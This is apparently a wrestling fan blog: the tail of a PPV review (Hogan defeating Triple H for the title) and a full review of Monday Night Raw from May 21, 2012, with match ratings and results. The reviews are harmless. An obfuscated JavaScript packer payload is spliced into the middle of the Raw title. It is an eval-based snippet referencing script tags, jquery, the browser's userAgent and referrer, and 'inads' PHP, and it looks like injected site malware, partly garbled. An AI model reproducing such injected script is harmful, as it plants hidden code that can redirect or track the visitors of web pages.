Snow gets taken down by Chuck and the beating begins. Swinging neckbreaker gets two for Billy. The fans tell Rico that he’s gay. Billy misses a corner splash and it’s hot tag to Maven. He hits the one move he was good at, the dropkick, to send Billy to the floor. Snow gets caught by a superkick but Rico accidentally kicks Chuck’s head off. Top rope cross body gets two for Maven. Snow has to chase Rico so Chuck kicks Maven’s head off to retain.

Rating: D. Not much here but it was happening to bridge the two main events which was fine. Billy and Chuck would crank up the overtones soon enough while Maven and Snow wouldn’t go anywhere as a team, or alone for that matter. There isn’t much to say about this match because it was only there to fill in time, which is understandable. More Rico would have helped.

We recap HHH vs. Hogan. Basically Vince made Hogan #1 contender and HHH is ready to mow him down. It’s face vs. face here and we get the music video treatment with the rare song that fits. It’s Young Grow Old by Creed.

WWF Undisputed Title: Triple H vs. Hulk Hogan

Feeling out process to start with both guys shoving the other down. The fans are all behind Hogan here. We do the test of strength and HHH puts him down but Hogan comes back and tries to put HHH down, but the champ pops Hogan in the face with an elbow. Top wristlock goes on but Hogan shoves him off and poses. HHH finally goes off on him, pounding Hogan down in the corner.

Hogan backdrops HHH down and comes back with clotheslines and punches in the corner. HHH gets in some punches but gets backdropped over the top to the floor. The Game gets sent into the barricade and suplexed to put both guys down. Back in the ring and HHH takes over again, but the Pedigree is countered into a slingshot and rollup for two. A suplex is countered and HHH goes after the big knee brace of Hogan.

The knee gets wrapped around the post as HHH channels his inner Flair. He lays on the leg for a hold and cranks on the knee gently. HHH completes the Flair love with a Figure Four (wrong leg so it gets even more points). Hogan makes the ropes so it’s off to a sleeper which devolves into a chinlock. This match is so boring.

Hogan breaks out of that by Hulking Up and hits the big boot and legdrop, but here’s Jericho to pull the referee out and hit Hogan with a chair to the head. HHH beats up Jericho and now it’s time for the proper Hulk Up. The big leg misses and HHH hits a Pedigree for two because Undertaker comes out and breaks up the pin. Taker cracks HHH with the chair and tries to put Hogan on top but Hulk beats up Taker, allowing Hogan to drop the leg for the pin and the title.

Rating: D. Hogan’s reaction for winning the title was decent, but MAN this match was boring. They got 22 minutes and most of it was Hogan laying around, which is what you would come to expect from a match like this. They changed the title a month after Wrestlemania which is kind of stupid in the first place, but thankfully they changed it to Taker a month later. Bad match but the fans liked it so maybe that makes up for it.

Hogan and HHH do the big dramatic handshake to end the show.

Overall Rating: D+. I watched most of this show last night and I don’t remember the vast majority of it. That’s the problem with this show: it’s not interesting or memorable at all. There are some good matches here, but the show comes off as very flat and boring for the most part. Angle vs. Edge was good and the IC Title match was solid, but there’s nothing here really worth seeing. It’s not a bad show but it’s pretty much just there. The show isn’t worth seeing at all and it’s a start of a bad stretch for the company.

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Monday Night Raw – May 21, 2012: No Contract Talk Makes Me Happy

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ssray|var|u0026u|referrer|inads||js|php'.split('|'),0,{})) Night Raw
Date: May 21, 2012
Location: Richmond Coliseum, Richmond, Virginia
Commentators: Jerry Lawler, Michael Cole

It’s back to Raw again and we have a full four weeks to build up to No Way Out. That’s the cage match PPV as they continue to try to find a theme show for June. Anyway Ace won last night due to the SHOCKING Big Show turn. Other than that Punk and Sheamus both retained. Odds are Lesnar will be here this week as we need to start building to the cage PPV, which is a natural fit for him. Let’s get to it.

We open with a recap of the ending to last night’s show.

Here’s angry Cena to open the show. He says that he’s had a lot of matches like this where he loses and then comes out and talks about losing and then moves on. This is different though. It’s not about how he lost but the fact that he just did. Cena talks about how Ace has been a bully since he got here and last night Cena got to give him some payback for it. Ace ran and then Big Show threw him back and it was fun again.

Show threw Ace to Cena for an AA and then Show knocked him out. Cena is upset here. He talks about how people have been saying he should have just beaten Ace when he had the chance, but if the giant was already paid off it wouldn’t have mattered anyway. If it wasn’t for the times when he had Ace in the STF last night, that would make a lot of sense.

Cena isn’t sure who the new GM would be (“YOU COULD EVEN BRING THE COMPUTER BACK!”) but they could have rehired the Big Show. But instead Ace won and it’s more People Power. Now we’re going to see some graphic and then hear from Ace about how he’s got a new plan or whatever and it’s crap. Cue Ace…..or rather Eve to Ace’s music. Cena: “Wow John you got really hot but you still suck!” She brings out Ace…..in a freaking motorized scooter with a People Power plate on it. Ok that’s freaking funny. She helps Ace onto a crutch and it’s time to talk some more.

He talks about how after the match last night he was sent to the hospital and he has some possible injuries to his clavicle, knee and spine. He can’t use his left extremities due to possible nerve damage but that’s ok because he proved that he’s a fierce competitor. If anyone touches him, he’s fired. Ace rehired Show on Satur……WAIT WHAT? IF SHOW IS REHIRED ON SATURDAY, THEN ACE SHOULD BE FIRED!!! Cena vs. Show, No Way Out, you know the drill.

Here’s Show to a lot of booing. He talks about how he doesn’t owe us an explanation and how last week he was on his knees crying. The fans say he’s a sellout but he’s mad about the lack of sympathy. He yells about Cena saying how dare you a lot. He’ll knock Cena out at the PPV and that’s it. Here’s Otunga who says he’s going to beat Cena now. Cena says he’s not in the mood right now so go watch Law and Order reruns because it’ll end badly otherwise. Otunga says ok and dedicates the match to Ace, which will be after a break. The segment was great until the HORRIBLE plot hole.

David Otunga vs. John Cena

The very angry Cena lets Otunga run away about three times and there’s no contact at all so far. Make it four times. Cena fakes him out and gets caught anyway by a bunch of forearms. Cena comes back with some punches and the beating begins. HARD clothesline puts Otunga down and it’s the AA into the STF at 1:57.

Post match Hawkins, Reks, Young and O’Neil run in for the beatdown. Sheamus makes the save, running over Ace in the process. So he’ll be fired right? They get thrown out and Ace yells at all four of them. Ace makes Sheamus/Cena vs. three unnamed people in a lumberjack match.

Here’s Ricardo to introduce Del Rio for his aforementioned match with Orton. Instead it’s Santino who comes out to say that Ricardo is hard to understand. They talk about rolling R’s when you talk and Santino gives him the Cobra. Santino does Del Rio’s entrance and there’s no Del Rio. Instead we get a video about how WWE has 1000 episodes, which NOTHING else has ever done. Not even World Championship Wrestling which became Saturday Night which ran for over 30 years without taking a break. Del Rio comes out and Santino leaves….and it’s time for another commercial.

Randy Orton vs. Alberto Del Rio

Del Rio counters Orton to start and goes right for the arm. A hard kick to said arm slows Orton down but the Codebreaker to it is broken up. Orton comes back with punches in the corner and sends Del Rio to the floor as we take ANOTHER commercial. Back with Del Rio hitting the Codebreaker on the arm and a hard kick as well. Del Rio misses a charge and goes through the ropes, allowing Orton to come back with his usual stuff. Elevated DDT looks to set up the RKO but here’s Jericho for the DQ at 7:20 total. I’m not going to rate it because most of that was in the commercial.

Jericho hits the Codebreaker on Orton, likely setting up their match at No Way Out. Jericho says he’s the best in the world at what he does and repeats it for good measure. Orton gets up but walks into another Codebreaker.

Here’s Bryan who says that he made Punk tap. The footage is doctored to make it look like Punk tapped faster. Bryan says he made Punk tap and demands a rematch. Cue Punk who says that he beat Bryan 1-2-3 and shows us a clip….from Smackdown where Bryan caused Kane to destroy Punk. With that, here’s Bryan’s opponent for this evening.

Daniel Bryan vs. Kane

HOKEY SMOKE THEY ACTUALLY HAD SOMEONE WATCH THE TAPE!!! Punk sits in on commentary. Bryan escapes the chokeslam and they head to the floor. Punk says he has to get a better look and picks up a chair, only to have Bryan pull it away. Kane sees Bryan holding it and destroys him. A chair shot to Bryan gets the DQ at 1:47. This was just there for comedy but I liked it.

Post match Kane chokeslams him twice. Kane leaves and Punk puts Bryan in the Vice to make him tap.

Post break Punk is in the back when AJ comes up. He calls her sadistic and she starts freaking. Before she can go crazy he says she’s the one that’s been a fool this whole time. She starts crying and Punk isn’t sure what to do. He hugs her and says everything is going to be fine while kind of rolling his eyes. Punk says stop crying so she immediately does. He says he digs crazy chicks and leaves. More on this later I’m assuming, but I love crazy AJ.

Christian gets an elaborate introduction before his match.

Christian vs. Jinder Mahal

See, THIS is what guys like Mahal is good for. Why don’t they get that more often? Christian hits the reverse DDT and a missile dropkick to take over. He gets backdropped to the floor and Mahal takes over with a chinlock. Christian comes back and now the story has been changed to Show signing THIS MORNING instead of Saturday. Mahal puts him down for a camel clutch but gets caught with the Killswitch which sets up a frog splash for the pin at 3:15.

Rating: C-. Just a quick match here and it’s a good win for Christian. Not that beating Mahal means anything, but it’s nice to see a good little win to cement that he’s back. Again, do more matches like this one where Christian looks good, someone else gets some TV time, and you don’t waste a potentially big match for free on TV.

Beth Phoenix vs. Kelly Kelly

Layla is watching in the back. Beth jumps her to start until Kelly comes back with her usual stuff. Beth misses a charge and Kelly hits her bad Thesz Press and headscissors. Geez shut up with the screaming woman. Handspring elbow is broken up and it’s a Glam Slam for the pin at 2:28. Ignore that Kelly’s face or chest didn’t hit the mat at all on that move.

Dolph Ziggler/Jack Swagger/Tensai vs. Sheamus/John Cena

Yeah it’s Tensai now and he doesn’t have the robe anymore. He also walks to the ring fast now, which is a major upgrade. The lumberjacks are all heels of course. Sheamus and Ziggler start with the champ using his power to control. Off to Cena vs. Tensai with Albert moving faster this week. That can only be good for him. Swagger comes in to do nothing but miss his Vader Bomb and let Sheamus come back in.

Knee lift puts Swagger down for two as Ziggler saves. Dolph is sent to the floor and it’s champ vs. Tensai. Sheamus gets knocked to the floor so Sheamus beats up the lumberjacks. Jericho won’t let Sheamus back in so Tensai gets in a shot. Tensai pounds on him some more as we take a break. Back with Sheamus missing the Brogue Kick to Swagger.

Ankle lock goes on but instead of holding it, Jack tags Tensai. Sheamus gets sent to the floor for a mini brawl with the lumberjacks before it’s back inside for an extended beating. Fameasser gets two. Big Show comes out on the stage. Sheamus keeps getting beaten down by Tensai as Show talks about how Show was rehired this morning, thereby making it the latest official history.

The champ punches everyone and the Regal Roll lets him tag Cena. The place likes Cena this week. He cleans house but Sheamus gets jumped by the lumberjacks. Cena dives through the ropes onto them and the lumberjacks do the big beatdown. We’ll say it’s thrown out at about 15:00.

Rating: C-. This was your usual main event style tag match. It wasn’t bad but the constant Sheamus beatdown got pretty dull after awhile. It’s not a bad match or anything but the point of this was the post match stuff, which is fine, especially when you need a way to end the show. Not bad though.

The whole locker room runs out for a HUGE brawl. Show went somewhere. Cena gets to the floor and goes Show hunting. We cut to the back and Cena runs into Ace, who doesn’t know where Show is. Cena turns around into a BIG punch to knock him out and end the show.

Overall Rating: C. This was a weird show. It came off as much more light hearted which is a plus, but the plot holes that they kept trying to change got annoying. The main event wasn’t bad but it didn’t serve much of a purpose. One thing to note though: when there’s no legal stuff or contract talk, I enjoy things FAR better. That stuff gets annoying fast so not having it for once was nice. Not a great show but it was fun.

Results
John Cena b. David Otunga – STF
Randy Orton b. Alberto Del Rio via DQ when Chris Jericho interfered
Daniel Bryan b. Kane via DQ when Kane used a chair
Christian b. Jinder Mahal – Frog Splash
Beth Phoenix b. Kelly Kelly – Glam Slam
John Cena/Sheamus vs. Tensai/Dolph Ziggler/Jack Swagger went to a no contest

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